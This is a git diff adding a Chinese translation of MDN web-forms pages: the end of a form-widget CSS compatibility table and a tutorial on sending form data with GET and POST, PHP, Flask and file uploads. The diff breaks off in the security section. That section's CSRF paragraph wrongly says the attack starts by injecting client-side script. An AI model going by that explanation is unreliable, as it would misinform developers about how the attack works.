rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + </tbody> +</table> + +<h3 id="Range">Range</h3> + +<p>There is no standard way to change the style of the range grip and Opera has no way to tweak the default rendering of the range widget.</p> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>Chrome 和 Opera 在组件周围添加了一些额外的空白,而 Windows 7 上的 Opera 则拉伸范围选择器的滑块。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li> {{cssxref("padding")}} 属性被运用,但是没有任何的视觉效果。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td colspan="1" rowspan="3"> + <ol> + <li>支持,但浏览器之间的不一致性太多,所以并不可靠。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td> + </tr> + </tbody> +</table> + +<h3 id="Image_buttons">Image buttons</h3> + +<table> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS box model</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Text and font</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Border and background</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td colspan="1"> </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td colspan="1"> + <ol> + <li>IE9 不支持这个属性</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td colspan="1"> + <ol> + <li>IE9 不支持这个属性</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<p>{{PreviousMenu("Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}</p> + +<p> </p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Your first HTML form</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/html/forms/sending_and_retrieving_form_data/index.html b/files/zh-cn/learn/html/forms/sending_and_retrieving_form_data/index.html new file mode 100644 index 0000000000..ed3a4ef0ef --- /dev/null +++ b/files/zh-cn/learn/html/forms/sending_and_retrieving_form_data/index.html @@ -0,0 +1,369 @@ +--- +title: 发送表单数据 +slug: Learn/HTML/Forms/Sending_and_retrieving_form_data +tags: + - HTML + - HTTP + - Web + - request + - 安全 + - 表单 +translation_of: Learn/Forms/Sending_and_retrieving_form_data +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms")}}</p> + +<p class="summary">本文将讨论当用户提交表单时发生了什么——数据去了哪,以及当它到达时该如何处理?我们还研究了与发送表单数据相关的一些安全问题。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td> + <p>基本计算机素养,对<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML的理解</a>,对<a href="/en-US/docs/Web/HTTP/Basics_of_HTTP">HTTP</a> 和<a href="/en-US/docs/Learn/Server-side/First_steps">服务器端编程</a>的基础知识。</p> + </td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解表单数据提交时发生了什么,包括服务器上如何处理数据的基本概念。</td> + </tr> + </tbody> +</table> + +<h2 id="数据都去哪儿了?">数据都去哪儿了?</h2> + +<p>在这里,我们将讨论在提交表单时数据会发生什么。</p> + +<h3 id="客户端服务器体系结构">客户端/服务器体系结构</h3> + +<p>web基于非常基本的客户端/服务器体系结构,可以总结如下:客户端(通常是web浏览器)向服务器发送请求(大多数情况下是<a href="http://httpd.apache.org/" rel="external" title="http://httpd.apache.org/">Apache</a>、<a href="http://nginx.com/" rel="external" title="http://nginx.com/">Nginx</a>、<a href="http://www.iis.net/" rel="external" title="http://www.iis.net/">IIS</a>、<a href="http://tomcat.apache.org/" rel="external" title="http://tomcat.apache.org/">Tomcat</a>等web服务器),使用<a href="/en-US/docs/HTTP" title="/en-US/docs/HTTP">HTTP 协议</a>。服务器使用相同的协议来回答请求。</p> + +<p><img alt="A basic schema of the Web client/server architecture" src="/files/4291/client-server.png" style="display: block; height: 141px; margin: 0px auto; width: 400px;"></p> + +<p>在客户端,HTML表单只不过是一种方便的用户友好的方式,可以配置HTTP请求将数据发送到服务器。这使用户能够提供在HTTP请求中传递的信息。</p> + +<div class="note"> +<p><strong>注意:</strong>为了更好地了解客户端—服务器架构是如何工作的,请阅读我们的<a href="/en-US/docs/Learn/Server-side/First_steps">服务器端网站编程的第一个步骤</a>模块。</p> +</div> + +<h3 id="在客户端定义如何发送数据">在客户端:定义如何发送数据</h3> + +<p>{{HTMLElement("form")}}元素定义了如何发送数据。它的所有属性都是为了让您配置当用户点击提交按钮时发送的请求。两个最重要的属性是{{htmlattrxref("action","form")}}和{{htmlattrxref("method","form")}}。</p> + +<h4 id="htmlattrxref(actionform)_属性"> {{htmlattrxref("action","form")}} 属性</h4> + +<p>这个属性定义了发送数据要去的位置。它的值必须是一个有效的URL。如果没有提供此属性,则数据将被发送到包含这个表单的页面的URL。</p> + +<p>在这个例子中,数据被发送到一个绝对URL —— <code>http://foo.com</code>:</p> + +<pre class="brush: html"><form action="http://foo.com"></pre> + +<p class="brush: html">这里,我们使用相对URL——数据被发送到服务器上的不同URL</p> + +<pre class="brush: html"><form action="/somewhere_else"> +</pre> + +<p class="brush: html">在没有属性的情况下,像下面一样,{{HTMLElement("form")}}数据被发送到表单出现的相同页面上:</p> + +<pre class="brush: html"><form></pre> + +<p class="brush: html">许多较老的页面使用下面的符号表示数据应该被发送到包含表单的相同页面;这是必需的,因为直到HTML5{{htmlattrxref("action", "form")}}属性都需要该符号。现在,这不再需要了。</p> + +<pre class="brush: html"><form action="#"></pre> + +<div class="note"> +<p><strong>注意:</strong>可以指定使用HTTPS(安全HTTP)协议的URL。当您这样做时,数据将与请求的其余部分一起加密,即使表单本身是托管在使用HTTP访问的不安全页面上。另一方面,如果表单是在安全页面上托管的,但是您指定了一个不安全的HTTP URL,它带有{{htmlattrxref("action","form")}}属性,所有的浏览器都会在每次尝试发送数据时向用户显示一个安全警告,因为数据不会被加密。</p> +</div> + +<h4 id="htmlattrxref(methodform)属性"> {{htmlattrxref("method","form")}}属性</h4> + +<p>该属性定义了如何发送数据。<a href="/en-US/docs/HTTP">HTTP协议</a>提供了几种执行请求的方法;HTML表单数据可以通过许多不同的方法进行数据传输,其中最常见的是<code>GET</code>方法和<code>POST</code>方法。</p> + +<p>为了理解这两种方法之间的区别,让我们回过头来看看HTTP是如何工作的。<br> + 每当您想要访问Web上的资源时,浏览器都会向URL发送一个请求。<br> + HTTP请求由两个部分组成:一个包含关于浏览器功能的全局元数据集的头部,和一个包含服务器处理特定请求所需信息的主体。</p> + +<h5 id="GET_方法">GET 方法</h5> + +<p><code>GET</code>方法是浏览器使用的方法,请求服务器返回给定的资源:“嘿,服务器,我想要得到这个资源。”在这种情况下,浏览器发送一个空的主体。由于主体是空的,如果使用该方法发送一个表单,那么发送到服务器的数据将被追加到URL。</p> + +<p>考虑下面这个表单:</p> + +<pre class="brush: html"><form action="http://foo.com" method="get"> + <div> + <label for="say">What greeting do you want to say?</label> + <input name="say" id="say" value="Hi"> + </div> + <div> + <label for="to">Who do you want to say it to?</label> + <input name="to" id="to" value="Mom"> + </div> + <div> + <button>Send my greetings</button> + </div> +</form></pre> + +<p>由于已经使用了<code>GET</code>方法,当你提交表单的时候,您将看到<code>www.foo.com/?say=Hi&to=Mom</code>在浏览器地址栏里。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14685/url-parameters.png" style="display: block; margin: 0 auto;">数据作为一系列的名称/值对被附加到URL。在URL web地址结束之后,我们得到一个问号(<code>?</code>),后面跟着由一个与符号(<code>&</code>)互相分隔开的名称/值对。在本例中,我们将两个数据传递给服务器。</p> + +<ul> + <li><code>say</code>, 它有一个 <code>Hi</code>的值。</li> + <li><code>to</code>, 它有一个 <code>Mom</code>的值。</li> +</ul> + +<p>HTTP请求如下:</p> + +<pre>GET /?say=Hi&to=Mom HTTP/2.0 +Host: foo.com</pre> + +<div class="note"> +<p><strong>注意:</strong>你可以在GitHub 上看到本例子——见 <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/get-method.html">get-method.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/get-method.html">预览版</a>).</p> +</div> + +<h5 id="POST_方法">POST 方法</h5> + +<p><code>POST</code>方法略有不同。这是浏览器在询问响应时使用与服务器通信的方法,该响应考虑了HTTP请求正文中提供的数据:“嘿,服务器,看一下这些数据,然后给我回一个适当的结果。”如果使用该方法发送表单,则将数据追加到HTTP请求的主体中。</p> + +<p>让我们来看一个例子,这是我们在上面的<code>GET</code>部分中所看到的相同的形式,但是使用{{htmlattrxref("method","form")}}属性设置为<code>post</code>。</p> + +<pre class="brush: html"><form action="http://foo.com" method="post"> + <div> + <label for="say">What greeting do you want to say?</label> + <input name="say" id="say" value="Hi"> + </div> + <div> + <label for="to">Who do you want to say it to?</label> + <input name="to" id="to" value="Mom"> + </div> + <div> + <button>Send my greetings</button> + </div> +</form></pre> + +<p>当使用<code>POST</code>方法提交表单时,没有数据会附加到URL,HTTP请求看起来是这样的,而请求主体中包含的数据是这样的:</p> + +<pre>POST / HTTP/2.0 +Host: foo.com +Content-Type: application/x-www-form-urlencoded +Content-Length: 13 + +say=Hi&to=Mom</pre> + +<p><code>Content-Length</code>数据头表示主体的大小,<code>Content-Type</code>数据头表示发送到服务器的资源类型。稍后我们将讨论这些标头。</p> + +<div class="note"> +<p><strong>注意:</strong>你可以在 GitHub 上看到本例—— 见 <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/post-method.html">post-method.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/post-method.html">预览版</a>).</p> +</div> + +<h4 id="查看HTTP请求">查看HTTP请求</h4> + +<p>HTTP请求永远不会显示给用户(如果您想要看到它们,您需要使用诸如<a href="/en-US/docs/Tools/Network_Monitor">Firefox Network Monitor</a>或<a href="https://developers.google.com/chrome-developer-tools/" title="https://developers.google.com/chrome-developer-tools/">Chrome Developer Tools</a>之类的工具)。例如,您的表单数据将显示在Chrome网络选项卡中:</p> + +<ol> + <li>按下 F12</li> + <li>选择 "Network"</li> + <li>选择 "All"</li> + <li>在 "Name" 标签页选择 "foo.com"</li> + <li>选择 "Headers"</li> +</ol> + +<p>你可以获得表单数据,像下图显示的那样</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14691/network-monitor.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>唯一显示给用户的是被调用的URL。正如我们上面提到的,使用<code>GET</code>请求用户将在他们的URL栏中看到数据,但是使用<code>POST</code>请求用户将不会看到。这一点很重要,有两个原因:</p> + +<ol> + <li>如果您需要发送一个密码(或其他敏感数据),永远不要使用<code>GET</code>方法否则数据会在URL栏中显示,这将非常不安全。</li> + <li>如果您需要发送大量的数据,那么<code>POST</code>方法是首选的,因为一些浏览器限制了URL的大小。此外,许多服务器限制它们接受的URL的长度。</li> +</ol> + +<h3 id="在服务器端检索数据">在服务器端:检索数据</h3> + +<p>无论选择哪种HTTP方法,服务器都会接收一个字符串并解析,以便将数据作为键/值对序列获取。您访问这个序列的方式取决于您使用的开发平台以及您可能使用的任何特定框架。您使用的技术也决定了如何处理密钥副本;通常,最近收到的密钥的值是优先的。</p> + +<h4 id="例如:原始PHP">例如:原始PHP</h4> + +<p><a href="http://php.net/">PHP</a>提供了一些全局对象来访问数据。假设您已经使用了<code>POST</code>方法,那么下面的示例将获取数据并将其显示给用户。当然,你对数据的处理取决于你自己。您可以显示它,将它存储到数据库中,通过电子邮件发送它,或者以其他方式处理它。</p> + +<pre class="brush: php"><?php + // The global $_POST variable allows you to access the data sent with the POST method by name + // To access the data sent with the GET method, you can use $_GET + $say = htmlspecialchars($_POST['say']); + $to = htmlspecialchars($_POST['to']); + + echo $say, ' ', $to; +?></pre> + +<p>这个例子显示了一个带有我们发送的数据的页面。您可以在我们的示例<a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.html">php-example.html</a>中看到这一点——该文件包含与我们之前看到的相同的示例表单,它使用了<code>post</code>的<code>method</code>和<code>php-example.php</code>的<code>action</code>。当提交时,它将表单数据发送到<a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.php">php-example.php</a>,其中包含了上述代码块中所见的php代码。当执行此代码时,浏览器中的输出是<code>Hi Mom</code>。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14693/php-result.png" style="display: block; margin: 0 auto;"></p> + +<div class="note"> +<p><strong>注意:</strong>当您将本例加载到本地浏览器中时,这个示例将无法工作---浏览器无法解析PHP代码,因此当提交表单时,浏览器只会为您提供下载PHP文件。为了让它生效,您需要通过某种类型的PHP服务器运行这个示例。本地PHP测试的好选择有<a href="https://www.mamp.info/en/downloads/">MAMP</a>(Mac和Windows)和<a href="http://ampps.com/download">AMPPS</a>(Mac、Windows、Linux)。</p> +</div> + +<h4 id="例子:_Python">例子: Python</h4> + +<p>这个例子展示了如何使用Python完成同样的事情——在web页面上显示提交的数据。<br> + 这将使用<a href="http://flask.pocoo.org/">Flask framework</a>来呈现模板、处理表单数据提交等(参见<a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/python-example.py">python-example.py</a>)。</p> + +<pre>from flask import Flask, render_template, request +app = Flask(__name__) + +@app.route('/', methods=['GET', 'POST']) +def form(): + return render_template('form.html') + +@app.route('/hello', methods=['GET', 'POST']) +def hello(): + return render_template('greeting.html', say=request.form['say'], to=request.form['to']) + +if __name__ == "__main__": + app.run()</pre> + +<p>以上代码中引用的两个模板如下:</p> + +<ul> + <li><a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/form.html">form.html</a>: 与我们在{{anch("The POST method")}}小节中看到的相同的表单,但是将<code>action</code>设置为<code>\{{ url_for('hello') }}</code>。(这是一个<a href="http://jinja.pocoo.org/docs/2.9/">Jinja2</a>模板,它基本上是HTML,但是可以包含对运行包含在花括号中的web服务器的Python代码的调用。<code>url_for('hello')</code>基本上是在“提交表单时重定向到<code>/hello</code>”。</li> + <li><a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/greeting.html">greeting.html</a>: 这个模板只包含一行,用于呈现渲染时传递给它的两个数据块。<br> + 这是通过前面所见的<code>hello()</code>函数完成的,该函数在<code>/hello</code>URL被导向时运行。</li> +</ul> + +<div class="note"> +<p><strong>注意:</strong>同样,如果您只是尝试将其直接加载到浏览器中,那么这段代码将无法工作。Python的工作方式与PHP略有不同——要在本地运行此代码,您需要<a href="/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">安装Python/pip</a>,然后使用<code>pip3 install flask</code>安装Flask。此时,您应该能够使用<code>python3 python-example.py</code>来运行这个示例,然后在浏览器中导航到<code>localhost:5000</code>。</p> +</div> + +<h4 id="其他语言和框架">其他语言和框架</h4> + +<p>还有许多其他的服务器端技术可以用于表单处理,包括<a href="/en-US/docs/" title="/en-US/docs/">Perl</a>、<a href="/en-US/docs/" title="/en-US/docs/">Java</a>、 <a href="http://www.microsoft.com/net" title="http://www.microsoft.com/net">.Net</a>、<a href="/en-US/docs/" title="/en-US/docs/">Ruby</a>等。只挑你最喜欢的用就好。话虽如此,但值得注意的是,直接使用这些技术并不常见,因为这可能很棘手。更常见的是使用许多优秀的框架,这些框架使处理表单变得更容易,例如:</p> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django" rel="external">Django</a> for Python (比<a href="http://flask.pocoo.org/">Flask</a>要重量级一些,但是有更多的工具和选项。)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs">Express</a> for Node.js</li> + <li><a href="https://laravel.com/">Laravel</a> for PHP</li> + <li><a href="https://rubyonrails.org/" rel="external">Ruby On Rails</a> for Ruby</li> + <li><a href="https://phoenixframework.org/">Phoenix</a> for Elixir</li> +</ul> + +<p>要注意的是,即使使用这些框架,使用表单也不一定很容易。但这比从头开始编写所有功能要简单得多,而且会节省很多时间。</p> + +<div class="note"> +<p><strong>注意:</strong>向您介绍任何服务器端语言或框架超出了本文的范围。如果你想要学习这些它们,上面的链接会给你一些帮助。</p> +</div> + +<h2 id="特殊案例发送文件">特殊案例:发送文件</h2> + +<p>用HTML表单发送文件是一个特殊的例子。文件是二进制数据——或者被认为是这样的——而所有其他数据都是文本数据。由于HTTP是一种文本协议,所以处理二进制数据有特殊的要求。</p> + +<h3 id="htmlattrxref(enctypeform)_属性">{{htmlattrxref("enctype","form")}} 属性</h3> + +<p>该属性允许您指定在提交表单时所生成的请求中的<code>Content-Type</code>的HTTP数据头的值。这个数据头非常重要,因为它告诉服务器正在发送什么样的数据。默认情况下,它的值是<code>application/x-www-form-urlencoded</code>。它的意思是:“这是已编码为URL参数的表单数据。”</p> + +<p>如果你想要发送文件,你需要额外的三个步骤:</p> + +<ul> + <li>将{{htmlattrxref("method","form")}}属性设置为<code>POST</code>,因为文件内容不能放入URL参数中。</li> + <li>将{{htmlattrxref("enctype","form")}}的值设置为<code>multipart/form-data</code>,因为数据将被分成多个部分,每个文件单独占用一个部分,表单正文中包含的文本数据(如果文本也输入到表单中)占用一个部分。</li> + <li>包含一个或多个<a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets#File_picker">File picker</a>小部件,允许用户选择将要上传的文件。</li> +</ul> + +<p>例如:</p> + +<pre class="brush: html"><form method="post" enctype="multipart/form-data"> + <div> + <label for="file">Choose a file</label> + <input type="file" id="file" name="myFile"> + </div> + <div> + <button>Send the file</button> + </div> +</form></pre> + +<div class="note"> +<p><strong>注意:</strong>一些浏览器支持{{HTMLElement("input")}}的{{htmlattrxref("multiple","input")}}属性,它允许只用一个 <code><input></code> 元素选择一个以上的文件上传。服务器如何处理这些文件取决于服务器上使用的技术。如前所述,使用框架将使您的生活更轻松。</p> +</div> + +<div class="warning"> +<p><strong>警告:</strong>为了防止滥用,许多服务器配置了文件和HTTP请求的大小限制。在发送文件之前,先检查服务器管理员的权限是很重要的。</p> +</div> + +<h2 id="常见的安全问题">常见的安全问题</h2> + +<p>每次向服务器发送数据时,都需要考虑安全性。到目前为止,HTML表单是最常见的攻击路径(可能发生攻击的地方)。这些问题从来都不是来自HTML表单本身,它们来自于服务器如何处理数据。</p> + +<p>根据你所做的事情,你会遇到一些非常有名的安全问题:</p> + +<h3 id="XSS_和_CSRF">XSS 和 CSRF</h3> + +<p>跨站脚本(XSS)和跨站点请求伪造(CSRF)是常见的攻击类型,它们发生在当您将用户发送的数据显示给这个用户或另一个用户时。</p> + +<p>XSS允许攻击者将客户端脚本注入到其他用户查看的Web页面中。攻击者可以使用跨站点脚本攻击的漏洞来绕过诸如<a href="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript">同源策略</a>之类的访问控制。这些攻击的影响可能从一个小麻烦到一个重大的安全风险。</p> + +<p>CSRF攻击类似于XSS攻击,因为它们以相同的方式开始攻击——向Web页面中注入客户端脚本——但它们的目标是不同的。CSRF攻击者试图将权限升级到特权用户(比如站点管理员)的级别,以执行他们不应该执行的操作(例如,将数据发送给一个不受信任的用户)。</p> + 